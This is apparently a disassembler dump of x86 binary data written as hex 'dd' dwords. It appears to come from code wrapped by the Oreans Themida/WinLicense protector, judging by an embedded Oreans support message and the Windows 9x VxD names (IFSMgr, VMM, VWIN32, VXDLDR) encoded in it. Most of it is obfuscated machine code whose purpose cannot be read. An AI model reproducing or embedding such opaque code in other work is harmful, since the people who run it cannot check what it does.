		dd 3C59D789h, 1C85995Fh, 0DF05C97Fh, 12FDD6D5h,	47FFC4D1h
		dd 5B23AB2Eh, 0D4BEE667h, 0DCB1451Eh, 4851C8F2h, 0A13E32ACh
		dd 2B4757FCh, 5DD143AEh, 41367C22h, 0AC321C36h,	3B8E5942h
		dd 0C0136B63h, 5EB6131Fh, 5E7BF50Bh, 39E51193h,	360E8ABh
		dd 4DE4D615h, 0DD23A54Ch, 189C5742h, 718026DCh,	11EDDE3h
		dd 5D479E13h, 8521517Ch, 4B1692h, 15750000h, 0E77A77EBh
		dd 7500F4FAh, 3C626A22h, 150342F9h, 7A0AE9EFh, 13014054h
		dd 6EDEA84h, 2120F654h,	3AC4065Bh, 0A83BB623h, 0FF906B59h
		dd 709DBEA6h, 0F7928591h, 4Fh, 0E6FFEBD3h, 0CEF45946h
		dd 0B76B5CF2h, 5D999630h, 0EFAD15B6h, 98A61AE5h, 9235CB2Bh
		dd 0A91C3587h, 347E241Eh, 6C1C3587h, 0D4DAE8F1h, 0C9ECB21Ah
		dd 0C91502B7h, 559C3937h, 6B6D23D3h, 0B4DE1B63h, 0B4525105h
		dd 44C4EEh, 0D01EC013h,	2E644724h, 0D50BC39Bh, 15035DEAh
		dd 9B29C8CEh, 13012535h, 26CDCC65h, 0D61DBAB2h,	6C0FF566h
		dd 0F5D2C223h, 7631538Dh, 117BCC4h, 0BB368AEDh,	7EF20C5Bh
		dd 0E60E9261h, 85F50746h, 306092h, 2B2F0000h, 1C3641A5h
		dd 9D31E9BCh, 371C007h,	6004B415h, 22859744h, 0C4F4BEE4h
		dd 0EEF01300h, 380C000h, 0BCDD3FAFh, 3BC56932h,	0B63AB924h
		dd 9B2E9F3Eh, 5AD50BC3h, 0BE150E0Ch, 0CB67D918h, 14CAFECEh
		dd 12FDF3AEh, 764C49E6h, 31A78470h, 0BF4DA43Dh,	20276DF3h
		dd 10FBE93Ch, 661A831Ch, 5445DDCAh, 554A329Ah, 1876AC35h
		dd 756C01FFh, 73FAFA7Eh, 87B2EFCFh, 97E036D9h, 6475ED5Fh
		dd 462E9F8Dh, 7922BFB3h, 836E6B07h, 119Bh, 5AD5E700h, 0CB228411h
		dd 17D99A58h, 0F59C58DCh, 1547844Fh, 53CF41B0h,	2739AB46h
		dd 0AEC537BAh, 0DD54C82Bh, 0AAC335BCh, 0D850C42Fh, 0AFC034BFh
		dd 0D04DBF32h, 575D2AC9h, 0C781E789h, 4, 8704EF83h, 895C243Ch
		dd 81682434h, 8900003Ch, 6E682434h, 8900005Eh, 6850243Ch
		dd 6B7C6F1Ah, 8124048Bh, 4C4h, 0E02A0500h, 0C6899DBBh
		dd 3C8B5458h, 4C48324h,	4815652h, 0BA71A624h, 0EA815A3Ch
		dd 3CBA71A6h, 5A085789h, 5F2434FFh, 4C481h, 348B0000h
		dd 0E7895724h, 4C781h, 0C7830000h, 243C8704h, 112EE95Ch
		dd 281FFFDh, 31B81F99h,	309386Dh, 5E0FFC5h, 9D18121Fh
		dd 0B11753B5h, 295B2341h, 393C8C85h, 4F21A02Dh,	6741CF0Bh
		dd 0F3569DA1h, 5D02CCFDh, 0A727986Fh, 7900CF97h, 642A6B7h
		dd 4732F602h, 7F4064CCh, 0B02322D1h, 4F7985E6h,	74673206h
		dd 9E165EB2h, 17AB68Bh,	0A82D5652h, 8C032434h, 7820FBBDh
		dd 0EB1B6325h, 53464934h, 2052474Dh, 444B5620h,	20202020h
		dd 4D4D5620h, 20202020h, 49575620h, 2032334Eh, 44585620h
		dd 2052444Ch, 20h, 2 dup(0)
		dd 807E900h, 14E90000h,	64000000h, 1D911551h, 8290E14h
		dd 1AD93C26h, 0A9A81467h, 60A16E23h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 0DBC35343h,	128A0F97h, 0E9000000h
		dd 0Dh,	0DE6FBFDDh, 7AE4E801h, 0D2F850EFh, 3785C719h, 9386Eh
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 6026C353h, 61C8B70Fh, 6AC68Bh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 60835FC3h, 10E9h, 0D6D08400h, 7129B928h, 190BF134h
		dd 949E91C4h, 31C9BB03h, 606161A8h, 59C38166h, 4AB86652h
		dd 0B70F61E9h, 53006AD8h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1B04h, 0C3534300h, 5B2D98AEh, 0B14B5A74h
		dd 0D8D0F60h, 0E8000000h, 7, 5F741E0Fh,	5FE3F012h, 606104B1h
		dd 35F4B966h, 0D2B70F53h, 0E8C1615Ah, 8E910h, 0C6220000h
		dd 0CB4C3A30h, 0C1661320h, 8E0F08C8h, 1, 3B8589FCh, 0F09386Eh
		dd 885h, 2810F00h, 60000000h, 0CBC16661h, 0C38A6008h, 11E9h
		dd 32C42400h, 9D40C94Bh, 9998BA1Eh, 4C1E57B5h, 8361E56Fh
		dd 850F40FBh, 27h, 0A8B9B860h, 0BF0F0705h, 0BD8D61D0h
		dd 9386E0Fh, 0CE9h, 877BDA00h, 0C9766C23h, 0A4192B45h
		dd 1B2E982h, 83F80000h,	850F0DFBh, 36h,	17BD8DF9h, 6A09386Eh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 0C1BC351h, 9BE4E7D3h, 17AE9CAh, 8A0F0000h
		dd 1, 0FB83F9F9h, 84850F01h, 6A000000h,	3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 686EC357h
		dd 607ABC58h, 3802B3B8h, 0D98B6049h, 66606161h,	611293B9h
		dd 6E1FBD8Dh, 6A0938h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1B0424h, 56460000h, 14911AC3h, 8E48B0A2h, 9E9FC0Bh
		dd 6A000001h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 6059C351h, 0D9A2E181h,	83615145h
		dd 850F2AFBh, 9Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 0C35242h, 0D0A1282Eh,	0BC7121CDh, 0AE9FCh
		dd 47A20000h, 7D3FD91Bh, 1C15EAC7h, 6E27BD8Dh, 14E90938h
		dd 0E2000000h, 0C64A4020h, 4256DBA8h, 3E68A4CFh, 6DFD6B8Ah
		dd 6075B587h, 830Fh, 8B0F0000h,	2, 0E9616160h, 74h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 4C35040h, 0D33FCF03h
		dd 2D70FEA8h, 96B16060h, 8E961h, 21630000h, 93CE38AFh
		dd 83617391h, 850F27FBh, 34Ch, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 0A4C35343h,	0F84D46A6h, 6E2FBD8Dh
		dd 820F0938h, 8, 28A0Fh, 61600000h, 6E3FBD89h, 66600938h
		dd 0F52EEBBh, 681h, 8E0F00h, 61000000h,	6AC88C66h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 6B1DC357h, 11E9FEh, 0B8810000h, 3EC07292h, 91388892h
		dd 0CB41D8AAh, 24E28507h, 118D0F03h, 0E9000000h, 0Ch, 6D12AA13h
		dd 0A46D0876h, 0DEE5EC96h, 850FC00Ah, 1E9h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 9AC35646h, 0A934A9B3h
		dd 7E9A4F7h, 80000000h,	74549A67h, 0B58DCC4Dh, 938750Eh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0CDC35343h
		dd 679BDFD5h, 8C0F5A8Fh, 0Bh, 0B8E18060h, 830Fh, 8B610000h
		dd 3875CA85h, 53006A09h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1904h, 0C3534300h, 96A35B72h, 0E960A421h, 0Eh, 104A72CCh
		dd 75476C62h, 54725ECCh, 8B66A3ECh, 0F9261D6h, 1680h, 11E900h
		dd 9B460000h, 54967C3Ch, 2DA5AD60h, 430D84E6h, 50816DFFh
		dd 13E9h, 8B133600h, 4234AC90h,	48352AF5h, 3FE9C51Dh, 0DF3A754Dh
		dd 0FE992h, 0FAFF0000h,	42712F27h, 0A351AA10h, 845DBE04h
		dd 10FF572h, 60FE244Ch,	8DC296BBh, 61F98B2Fh, 0C283FC5Ah
		dd 870F6024h, 2, 10E85F53h, 8F000000h, 494BB20Eh, 2C32F777h
		dd 15E3498Fh, 8BC00DDBh, 0E9615ADEh, 14h, 38D80B4Ah, 804BAB41h
		dd 556D4BF6h, 0C7AD5AAEh, 0E6689C5Ah, 0FC728966h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 43C35040h, 0C1A7731Fh
		dd 666010CEh, 0E857DE81h, 0ABE78060h, 61616160h, 2728966h
		dd 78E0Fh, 800F0000h, 1, 0E904CDFCh, 0Ch, 235D97DBh, 0B61EC182h
		dd 22966262h, 0FFE9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1404h, 0C3534300h, 78B0FD9h, 0F000000h, 188h
		dd 840FF500h, 1Dh, 0E9616060h, 14h, 0CF145C9Fh,	0F0A2D446h
		dd 3AB9CBD3h, 0E549398Bh, 0F598E6A9h, 0CA858B61h, 6A093875h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 8289C352h, 8C0FF81Fh, 1Bh, 0E99DB360h, 12h
		dd 0BC32E7C1h, 104C3994h, 260B08F4h, 53800E8Dh,	0F961F74Ah
		dd 750EB58Dh, 6A0938h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 75B0A5C3h, 2CD634Fh, 0E96057EDh
		dd 14h,	0F2722432h, 0BAC803AFh,	64E10DE2h, 51537D33h, 0FC7718AAh
		dd 7850F61h, 0F000000h,	18Fh, 858DFC00h, 9384C2Dh, 1860Fh
		dd 0FFFC0000h, 6E9D0h, 695F0000h, 2DA00307h, 6E378589h
		dd 66600938h, 61A172BEh, 18C0F61h, 0F5000000h, 6E37858Bh
		dd 6A0938h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 0D26A1BC3h, 6AC3A663h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0BB57C357h
		dd 0E93B0B0Bh, 0Dh, 44F340BFh, 0CFED4A21h, 0D9D5CFF9h
		dd 12E9E1h, 0FB250000h,	42DAACCEh, 6CEA4C2Bh, 13D580Fh
		dd 0FCD4C8CDh, 0E3816060h, 19DAA7E6h, 9C47D881h, 83613BEBh
		dd 3875CABDh, 850F0009h, 69h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 16h, 0EFC35141h,	60604852h, 8B0Fh
		dd 6CB80000h, 611D6B05h, 7C1FD981h, 60614673h, 0D38B6660h
		dd 66611FB3h, 6141B3BAh, 75CA85C7h, 13F0938h, 6A0001h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 50869AC3h, 30E9C9h, 6A0000h,	3E853h,	5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 489FBBC3h, 0D6305267h
		dd 0E9E86448h, 6, 0B98BBA03h, 20CD627Ah, 0
		dd 3774C00Bh, 8B0C708Dh, 386E3FBDh, 8B909h, 75A60000h
		dd 0FA754922h, 8B30488Bh, 386E3B9Dh, 34583B09h,	0D38B157Fh
		dd 304D26Bh, 89018BCAh,	386E3785h, 8B04EB09h, 61C5EB00h
		dd 6E37858Bh, 6ACF0938h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 0BCBAC357h,	4FA7035Ch
		dd 168B0F85h, 0F000000h, 1082h,	0BE900h, 482A0000h, 56E02E88h
		dd 0F41DB1A9h, 0E8C08B67h, 0Bh,	3CF9CA4Fh, 0D9F132DAh
		dd 0FDA8485h, 0E958D7B7h, 0Ch, 0BB066577h, 7E8F4B88h, 98C03C5Fh
		dd 6A68C081h, 5E80000h,	0A1000000h, 0FCA75A28h,	378058BFh
		dd 685F68h, 0F000000h, 0F95BFFBFh, 66180C8Bh, 81BFC2BEh
		dd 197333C1h, 3820F1Eh,	53000000h, 0E9815EF5h, 716346B4h
		dd 0A3CA8166h, 8AC18153h, 667C275Fh, 5180A6BFh,	5F15F781h
		dd 48F43D6h, 1EBF6618h,	6800F48h, 81000000h, 7916BEE6h
		dd 91EB8120h, 565D56F5h, 5890Fh, 0FEBA0000h, 5E5F727Ch
		dd 0F58DC381h, 0F98B5D56h, 9688FB81h, 850FFFFFh, 1Eh, 4870Fh
		dd 0BE660000h, 39E96C77h, 93000000h, 0D35AECBDh, 488BCB15h
		dd 484B7303h, 9E84843h,	0C9000000h, 67A9443Bh, 90E018BDh
		dd 8E9h, 0FA330B00h, 0ACF63B33h, 55E95AE2h, 0DEFFFFFFh
		dd 89431738h, 66644E70h, 400E9h, 0
		dd 6E413300h, 746E6920h, 616E7265h, 7865206Ch, 74706563h
		dd 206E6F69h, 7563636Fh, 20646572h, 64644128h, 73736572h
		dd 7830203Ah, 0A297825h, 656C500Dh, 2C657361h, 6E6F6320h
		dd 74636174h, 70757320h, 74726F70h, 65726F40h, 2E736E61h
		dd 2E6D6F63h, 61685420h, 79206B6Eh, 21756Fh, 0E4h dup(0)
		dd 5600h, 4500h, 0
		dd 13B3E900h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 140424h, 51410000h, 858BEAC3h, 9352621h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0AEC35747h, 0F7C3DEA1h
		dd 8B602A0Eh, 3506AD8Dh, 0CE909h, 0B8660000h, 0EF84C81h
		dd 5C2AC205h, 0FC618931h, 4244439h, 0D4850Fh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 0C45185C3h, 0E1152109h, 8B0F599Ch, 0Ah, 5E9h, 0A4BFEC00h
		dd 0BD835398h, 93523CDh, 93840F00h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 4AF1C352h, 688C385Dh, 60D8E3F6h, 0BE9h, 945E9600h, 239AB443h
		dd 0D17684D1h, 3898858Dh, 6A0935h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 84572BC3h, 978D792Ch
		dd 51BD018Fh, 0F9093525h, 6AE0FFh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 0CD4A81C3h, 880F9783h
		dd 6, 17A58589h, 858B0935h, 935057Dh, 24BDBD29h, 44390935h
		dd 850F0424h, 43h, 0FDE8B60h, 0C761CFBFh, 387B4B85h, 109h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 47699FE2h, 0C820F68h, 0F000000h,	681h, 2DB58900h
		dd 60093501h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 1Ah,	0B3C35141h, 382373DBh, 890F13E2h, 15h, 10E9h, 3250C900h
		dd 895DB57Fh, 2A05669Ah, 6A21E4A5h, 39E990h, 0E9600000h
		dd 14h,	0FD135090h, 270D2085h, 6C59C8B8h, 0E7031C64h, 223DDD4h
		dd 2E55B58Bh, 60610935h, 68B0Fh, 0B5890000h, 9350861h
		dd 2C658533h, 610935h, 0B8000000h, 1, 7D618587h, 0C00B0938h
		dd 0B5FFF675h, 935179Dh, 7B43858Fh, 206A0938h, 95FFFF6Ah
		dd 9351EA1h, 80DBD83h, 74000935h, 0FF006A08h, 35082995h
		dd 0F9BD8309h, 1093515h, 80680D74h, 6A000000h, 0A195FFFFh
		dd 6A09351Eh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 0F94FC350h, 1870Fh, 6AF90000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 7D9DC357h, 0D4C7076Dh, 0C37F10FDh, 0EE9h
		dd 0DBC43B00h, 0FD985EF2h, 0A3C06D0Ch, 0B896D125h, 0
		dd 2DE19589h, 548B0935h, 14E92824h, 5000000h, 0C618759h
		dd 410B5931h, 0D366D0B4h, 0E53CF2E1h, 89E33B2Eh, 35127D85h
		dd 50006A09h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 5F2D9410h, 188A0F15h, 0E9000000h, 13h, 11551EFEh
		dd 8669AC13h, 0FAA690E5h, 0A569CD28h, 0F6EC261h, 0B80h
		dd 8B666000h, 398D31D1h, 61093527h, 3CBEh, 35BD8900h, 3093511h
		dd 0F242474h, 1482h, 0FE900h, 9F310000h, 0DE013CAEh, 27546BA3h
		dd 0DF5E23D9h, 6AAD66AAh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 0E912C350h,	12h, 114B7A08h
		dd 6E255EC9h, 0C767E313h, 0ADE4A1F4h, 8C0F23A1h, 6, 6398D89h
		dd 44030935h, 7E92424h,	38000000h, 9271DF4Bh, 0F906731h
		dd 0E82h, 0F525000h, 8Dh, 60310F00h, 50585A61h,	0DE9h
		dd 52C44400h, 83E7481Fh, 0FEC8D7B1h, 6A90F990h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 3E2FC353h, 0BBB29E07h, 85896084h, 9352B2Dh, 4089BE66h
		dd 598D3161h, 8B093503h, 890F7840h, 0Eh, 1D8D8960h, 89093532h
		dd 35179995h, 0BD836109h, 9387B4Bh, 0EE850F00h,	6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 9B51C352h, 0F50FCA1h, 0E86h, 60525000h, 0F310F61h
		dd 8Eh,	89585A00h, 6A2404h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 448BD6C3h, 90FC2C24h
		dd 0FE9h, 0DBCD1200h, 0AD757E85h, 58FF08A8h, 0DD31684Dh
		dd 50506050h, 5A310F52h, 0E8605958h, 0Ch, 0A7B6DD39h, 8D2E1F48h
		dd 0D3E94186h, 0CA8B665Fh, 6A906161h, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 72D4C357h
		dd 341821C2h, 8DF5F54Eh, 384CBF85h, 57006A09h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 0EDF2B8E1h
		dd 5EE64707h, 0FFF809A4h, 6870FD0h, 89000000h, 350A6DBDh
		dd 24440309h, 408BF928h, 50006A18h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 0CA28B11Ah, 10E9h, 1FEC9000h
		dd 95D0D9A2h, 82F18DDBh, 896B8677h, 8E0F4048h, 9, 419D8960h
		dd 0F909351Bh, 47858961h, 0F09387Bh, 0C84h, 6810F00h, 89000000h
		dd 35163DBDh, 6A5809h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 190424h, 56460000h, 0DC9694C3h, 116CDAFh, 350D2D85h
		dd 7850F09h, 0F000000h,	18Fh, 708BF900h, 79BD2978h, 83093501h
		dd 9D311CC6h, 935061Dh,	50006A96h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 0E8803D51h, 29D90A7Dh
		dd 3521C58Dh, 247C8109h, 24h, 0F7870F10h, 0F000000h, 684h
		dd 499D3100h, 2909350Bh, 350121BDh, 52505009h, 11E9h, 7EF96C00h
		dd 0D605DA81h, 74B5240Bh, 0C6F35A0Ch, 310F61E7h, 61605250h
		dd 7E9310Fh, 4C000000h,	77A7BBB3h, 585A6715h, 489585Ah
		dd 85858924h, 8B093511h, 0E9282444h, 13h, 708E9F51h, 34743D1Dh
		dd 0B0AA398Ah, 67908CC0h, 50C05EAAh, 9E860h, 46E30000h
		dd 0A80216A0h, 8BB98C77h, 0F7BE59F3h, 611D772Eh, 9240489h
		dd 352DBD9Dh, 0BF858D09h, 6A09384Ch, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 0DE42C353h
		dd 12A3F7BEh, 820F4A8Ch, 16h, 11E9h, 84E9E800h,	1F32304Eh
		dd 20751368h, 0D8E53E9Dh, 8960B142h, 3524F5B5h,	0D0FF6109h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 71C35343h
		dd 6096952Bh, 2B89B58Bh, 9D8B0935h, 9352B89h, 24740361h
		dd 52006A24h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 6DDC5C67h, 63A8FE90h, 8B6660B4h,	20B866F7h
		dd 316061A9h, 350D258Dh, 0BD8D6109h, 9350571h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 37C35747h, 0A58143CFh
		dd 4ADD949h, 0C830Fh, 8F0F0000h, 6, 515BD29h, 820F0935h
		dd 1Eh,	0EEE8160h, 0E872D9E9h, 10h, 2D95EA47h, 35A6F516h
		dd 0ADDAD97Ch, 0BEBA6C47h, 89AD6159h, 3523A9B5h, 247C8109h
		dd 24h,	37870F10h, 6A000001h, 3E85100h,	20000000h, 8959C359h
		dd 8104244Ch, 1B042444h, 41000000h, 0F758C351h,	0D51FD58Dh
		dd 800F76A9h, 1, 525050FCh, 11E9h, 16506D00h, 1E094BF2h
		dd 8D5399CEh, 19FD3F59h, 310F3BB6h, 61605250h, 6160310Fh
		dd 585A585Ah, 6A240489h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 0A0C0C356h,	818BE200h
		dd 60FFFD5Dh, 7E9h, 17B47E00h, 0C8CC9F5Fh, 6758D09h, 0E9610935h
		dd 0Ah,	0A4822CD7h, 981707BDh, 448BC88Ch, 6A2824h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 0CF16A7C3h, 14E950h,	32E80000h, 69137C67h, 696BA6B3h
		dd 7074199Bh, 0F4951B03h, 489C77Fh, 1860F24h, 0F5000000h
		dd 4CBF858Dh, 6A0938h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 0F692B4C3h, 0FF909EB5h, 50006AD0h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 0A5DC9431h, 95895E66h, 9351029h, 2D118D29h, 44030935h
		dd 0B5892424h, 9353055h, 0E9F560ABh, 11h, 0AE10C602h, 7B8484EFh
		dd 9FA49419h, 0E9F098FBh, 0FA81617Ch, 10000h, 88D820Fh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 0FCFC05C3h, 0A99D8960h, 0F093525h, 283h
		dd 615E5300h, 1D59BD8Dh, 6A0935h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 0A82CA5C3h, 13E96571h
		dd 7A000000h, 1279DBE1h, 5FADE21Ah, 0CD3BC095h,	0DF2D146Ah
		dd 6AAD53E3h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 0FD5AC357h, 89B7AA46h,	352D9D8Dh
		dd 247C8109h, 24h, 27870F10h, 0FC000001h, 2D198D01h, 50900935h
		dd 8B666052h, 616160C3h, 5250310Fh, 8D0Fh, 310F0000h, 8F0Fh
		dd 585A0000h, 6050585Ah, 8E95250h, 0F5000000h, 14EFFE41h
		dd 0F6E86D0h, 8A0F31h, 5A000000h, 0BB666058h, 5250944Ch
		dd 585A310Fh, 0E9906161h, 0Eh, 5DC7485h, 2CB156B8h, 25C0DF14h
		dd 850F6690h, 6, 2791BD89h, 448B0935h, 0F602824h, 68Dh
		dd 0D9BD8B00h, 89093531h, 350B5185h, 50906109h,	60525052h
		dd 60310F61h, 0F585A61h, 0B9666031h, 0FE98F5Ah,	0C5000000h
		dd 90B95100h, 0B2F4022Ah, 3758B9C9h, 5A613ED7h,	52505058h
		dd 0C3BE6660h, 615F5728h, 0E860310Fh, 5, 0F86C4D94h, 94BF5B2Eh
		dd 615DB334h, 0E990585Ah, 0Bh, 67BDC4C5h, 813BF4F1h, 8D12236Dh
		dd 384CBF85h, 0A9858909h, 0FF09350Ch, 57006AD0h, 3E8h
		dd 0C35F2000h, 247C895Fh
		dd 24448104h, 1904h, 0C3574700h, 1D3E859Bh, 36067ABh, 351DEDB5h
		dd 0F5B58909h, 6109350Ah, 1BD5BD29h, 44030935h,	6A2424h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 0FE2825C3h, 8E9h, 1462200h, 0CED08C80h, 6E990FBh, 9E000000h
		dd 0E9BA49A4h, 800F5066h, 12h, 0C840Fh,	7E90000h, 7000000h
		dd 0F57198E2h, 0E9901027h, 0Ah,	0F9F901B1h, 0ED7F1A41h
		dd 6AABF0F2h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 0DE56C352h, 74DA96EAh,	0B58936BBh
		dd 9353259h, 0A79BD8Dh,	6A0935h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 190424h, 50400000h, 0C833C1C3h, 0F9605E4Ah
		dd 53006AADh, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 8D8589F2h, 81093507h, 28247Ch, 0F100000h
		dd 12687h, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h
		dd 1404h, 0C3534300h, 359D297Ch, 0F09351Fh, 681h, 39BD8900h
		dd 5009352Ch, 10810Fh, 0BE90000h, 81000000h, 7F0C6782h
		dd 0F0BD4FEFh, 4896784h, 0EE924h, 0D1200000h, 0B6C9390Bh
		dd 4B4A6FEBh, 3B4BF441h, 2C24448Bh, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 93C35242h, 5406F4F6h, 0F1437F90h
		dd 8D0FF8F8h, 0Ch, 6830Fh, 0BD890000h, 935305Dh, 0BE9h
		dd 9D123A00h, 1D770E8h,	2CAAEDA7h, 8A576050h, 10E95AC3h
		dd 6C000000h, 5FE8925Eh, 0BCCB066h, 805DE26Ah, 616EB1C8h
		dd 60240489h, 0DE8h, 2E1B6600h,	35253F51h, 0F4B8C339h
		dd 8B66EC10h, 8D615BC7h, 384CBF85h, 12E909h, 6FA20000h
		dd 83C1A11Bh, 0B123BAEBh, 0EFA66F77h, 3737B8CCh, 6AD0FFh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 89BA08C3h, 35122D9Dh, 6DBD8909h, 3093522h, 6A282444h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 22BBC357h, 0D18B60CEh, 0DE9h, 0D60C3000h
		dd 0E3AEBC0Ch, 0FE38BFD0h, 0F861E380h, 55006AABh, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h
		dd 60EC9401h, 13E9h, 0AF682B00h, 0F8BE79h, 5FA454CAh, 0FC23D702h
		dd 0D3D87CFEh, 6800Fh, 0C8810000h, 6C0DAC6Ah, 8DFF5E61h
		dd 9387B47h, 7B47BD83h,	75000938h, 8DC0330Ah, 388C33B5h
		dd 56E6FF09h, 247C81ADh, 28h, 500E7710h, 2C24448Bh, 0BF858D50h
		dd 0FF09384Ch, 244403D0h, 0DF8B9728h, 7B43858Ah, 0C0840938h
		dd 73A0474h, 32574C75h,	0FD75AEC0h, 52FB2B5Eh, 49C933FCh
		dd 0C033D18Bh, 32ACDB33h, 8ACD8AC1h, 0B6D68AEAh, 0EBD16608h
		dd 73D8D166h, 41356609h, 0F3816650h, 0CEFE5449h, 0C833EB75h
		dd 754FD333h, 0F7D2F7D5h, 0C1C28BD1h, 8B6610C0h, 0D03B5AC1h
		dd 835E0F74h, 85FF04C6h, 935127Dh, 0FFFF5DE9h, 810F5EFFh
		dd 1, 51006AF8h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1604h, 0C3514100h, 0E9CB338Ah, 14h, 2981DFDBh, 0A8AA4129h
		dd 0E8CDA16Fh, 79C5AD80h, 0AC1CBFD4h, 0B8B0Fh, 6E90000h
		dd 0F8000000h, 7F29A7Dh, 7D858B42h, 6A093512h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 0B3ABC350h, 3C326768h, 0DE906A5h, 1D000000h,	485BA135h
		dd 9829FE73h, 8B9F74DEh, 6AE0D1F8h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 0F9A8C350h
		dd 0A798503h, 6A0935h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 681BD8C3h, 0FC6B2B7Fh, 0E840Fh
		dd 89600000h, 35164D95h, 800F09h, 61000000h, 230D8D89h
		dd 0BE0935h, 0E9000000h, 8, 0B501554Eh,	2A6AA34Fh, 91B58996h
		dd 66093501h, 57006AADh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1604h, 0C3574700h, 0C139F3A3h, 6A02E0h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 0FED19DC3h
		dd 9A26BEFFh, 0F6153CDh, 0C89h,	68A0F00h, 31000000h, 350CE985h
		dd 81666009h, 0F49F2C0h, 361D2BFh, 35057185h, 52006A09h
